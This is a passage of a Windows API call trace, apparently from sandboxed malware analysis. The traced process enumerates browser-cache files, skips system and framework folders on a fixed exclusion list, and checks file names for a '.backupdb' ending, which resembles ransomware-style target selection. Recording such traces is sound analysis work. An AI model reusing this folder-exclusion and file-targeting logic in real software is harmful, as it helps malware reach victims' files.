CloseHandle (hObject=0x2c4) returned 1 [0120.487] GetLastError () returned 0x0 [0120.487] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.487] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db", cchLength=0x54 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") returned 0x54 [0120.487] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.487] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db", cchLength=0x54 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") returned 0x54 [0120.488] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.488] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db", cchLength=0x54 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") returned 0x54 [0120.488] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.488] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db", cchLength=0x54 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") returned 0x54 [0120.488] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.488] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db", cchLength=0x54 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") returned 0x54 [0120.488] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.488] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db", cchLength=0x54 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") returned 0x54 [0120.488] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.488] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.488] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.489] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.489] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.489] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.489] lstrcpynW (in: lpString1=0x14b498c, lpString2="MP Scheduled Scan", iMaxLength=18 | out: lpString1="MP Scheduled Scan") returned="MP Scheduled Scan" [0120.489] GetLastError () returned 0x0 [0120.489] VarBstrCmp (bstrLeft="uled Scan", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.489] lstrcpynW (in: lpString1=0x14da7ec, lpString2="css[2].txtX", iMaxLength=11 | out: lpString1="css[2].txt") returned="css[2].txt" [0120.489] GetLastError () returned 0x0 [0120.489] VarBstrCmp (bstrLeft="ss[2].txt", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.490] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="姭", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.490] GetLastError () returned 0x0 [0120.490] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.490] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14df9e0, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14df9e0) returned 0x0 [0120.491] GetLastError () returned 0x0 [0120.491] lstrcpynW (in: lpString1=0x1445ffc, lpString2="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ", iMaxLength=110 | out: lpString1="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ") returned="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ" [0120.491] GetLastError () returned 0x0 [0120.491] CloseHandle (hObject=0x2c4) returned 1 [0120.491] GetLastError () returned 0x0 [0120.491] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.491] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\css[2].txt", cchLength=0x7b | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\css[2].txt") returned 0x7b [0120.491] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.491] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\css[2].txt", cchLength=0x7b | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\css[2].txt") returned 0x7b [0120.491] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.491] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\css[2].txt", cchLength=0x7b | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\css[2].txt") returned 0x7b [0120.492] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.492] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\css[2].txt", cchLength=0x7b | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\css[2].txt") returned 0x7b [0120.492] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.492] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\css[2].txt", cchLength=0x7b | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\css[2].txt") returned 0x7b [0120.492] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.492] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\css[2].txt", cchLength=0x7b | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\css[2].txt") returned 0x7b [0120.492] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.492] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.492] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.492] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.493] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.493] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.493] lstrcpynW (in: lpString1=0x142fffc, lpString2="index[1].htm", iMaxLength=13 | out: lpString1="index[1].htm") returned="index[1].htm" [0120.493] GetLastError () returned 0x0 [0120.493] VarBstrCmp (bstrLeft="ex[1].htm", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.493] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="姴", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.494] GetLastError () returned 0x0 [0120.494] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.494] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14df9e0, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14df9e0) returned 0x0 [0120.494] GetLastError () returned 0x0 [0120.494] lstrcpynW (in: lpString1=0x144bb04, lpString2="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY", iMaxLength=110 | out: lpString1="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY") returned="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY" [0120.494] GetLastError () returned 0x0 [0120.494] CloseHandle (hObject=0x2c4) returned 1 [0120.494] GetLastError () returned 0x0 [0120.494] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.495] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", cchLength=0x7d | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\index[1].htm") returned 0x7d [0120.495] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.495] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", cchLength=0x7d | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\index[1].htm") returned 0x7d [0120.495] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.495] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", cchLength=0x7d | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\index[1].htm") returned 0x7d [0120.495] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.495] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", cchLength=0x7d | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\index[1].htm") returned 0x7d [0120.495] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.495] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", cchLength=0x7d | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\index[1].htm") returned 0x7d [0120.496] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.496] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", cchLength=0x7d | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\index[1].htm") returned 0x7d [0120.496] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.496] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.496] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.496] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.496] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.496] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.496] lstrcpynW (in: lpString1=0x14b4aac, lpString2="BBBVEOW[1].jpgP", iMaxLength=15 | out: lpString1="BBBVEOW[1].jpg") returned="BBBVEOW[1].jpg" [0120.496] GetLastError () returned 0x0 [0120.497] VarBstrCmp (bstrLeft="OW[1].jpg", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.497] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="娂", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.497] GetLastError () returned 0x0 [0120.497] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.497] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14df9e0, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14df9e0) returned 0x0 [0120.497] GetLastError () returned 0x0 [0120.497] lstrcpynW (in: lpString1=0x1445ffc, lpString2="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8", iMaxLength=110 | out: lpString1="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8") returned="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8" [0120.497] GetLastError () returned 0x0 [0120.497] CloseHandle (hObject=0x2c4) returned 1 [0120.497] GetLastError () returned 0x0 [0120.498] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.498] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbveow[1].jpg") returned 0x7f [0120.498] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.498] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbveow[1].jpg") returned 0x7f [0120.498] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.498] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbveow[1].jpg") returned 0x7f [0120.498] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.498] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbveow[1].jpg") returned 0x7f [0120.498] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.499] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbveow[1].jpg") returned 0x7f [0120.499] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.499] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbveow[1].jpg") returned 0x7f [0120.499] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.499] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.499] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.499] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.499] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.499] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.499] lstrcpynW (in: lpString1=0x14cf144, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", iMaxLength=66 | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0" [0120.499] GetLastError () returned 0x0 [0120.500] VarBstrCmp (bstrLeft="716359AF0", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.500] lstrcpynW (in: lpString1=0x143353c, lpString2="BBC0tCi[1].jpgX", iMaxLength=15 | out: lpString1="BBC0tCi[1].jpg") returned="BBC0tCi[1].jpg" [0120.500] GetLastError () returned 0x0 [0120.500] VarBstrCmp (bstrLeft="Ci[1].jpg", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.500] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="姭", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.500] GetLastError () returned 0x0 [0120.501] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.501] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14df9e0, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14df9e0) returned 0x0 [0120.501] GetLastError () returned 0x0 [0120.501] lstrcpynW (in: lpString1=0x14cf144, lpString2="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ", iMaxLength=110 | out: lpString1="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ") returned="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ" [0120.501] GetLastError () returned 0x0 [0120.501] CloseHandle (hObject=0x2c4) returned 1 [0120.501] GetLastError () returned 0x0 [0120.501] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.501] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0tCi[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0tci[1].jpg") returned 0x7f [0120.501] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.502] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0tCi[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0tci[1].jpg") returned 0x7f [0120.502] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.502] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0tCi[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0tci[1].jpg") returned 0x7f [0120.502] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.502] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0tCi[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0tci[1].jpg") returned 0x7f [0120.502] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.502] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0tCi[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0tci[1].jpg") returned 0x7f [0120.502] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.502] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS 